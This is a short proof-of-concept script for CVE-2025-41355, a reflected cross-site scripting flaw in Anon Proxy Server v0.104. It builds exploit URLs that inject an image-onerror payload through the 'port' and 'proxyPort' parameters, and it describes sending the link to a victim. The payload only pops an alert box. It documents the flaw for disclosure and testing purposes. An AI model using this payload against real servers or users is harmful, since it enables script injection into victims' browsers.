CVE-2025-41355 Anon Proxy Server XSS漏洞

// Proof of Concept for CVE-2025-41355 // Target: Anon Proxy Server v0.104 // Description: Injecting script via 'port' parameter // Malicious payload to demonstrate XSS var payload = "<img src=x onerror=alert('CVE-2025-41355')>"; // Constructing the vulnerable endpoint URL // The 'port' parameter is vulnerable to reflected XSS var target = "http://example.com/anon.php?port=" + encodeURIComponent(payload); // Alternatively, 'proxyPort' is also vulnerable var targetProxy = "http://example.com/anon.php?proxyPort=" + encodeURIComponent(payload); // In a real attack scenario, the attacker would send this URL to the victim. // When the victim clicks, the alert box will appear, proving code execution. console.log("Exploit URL: " + target);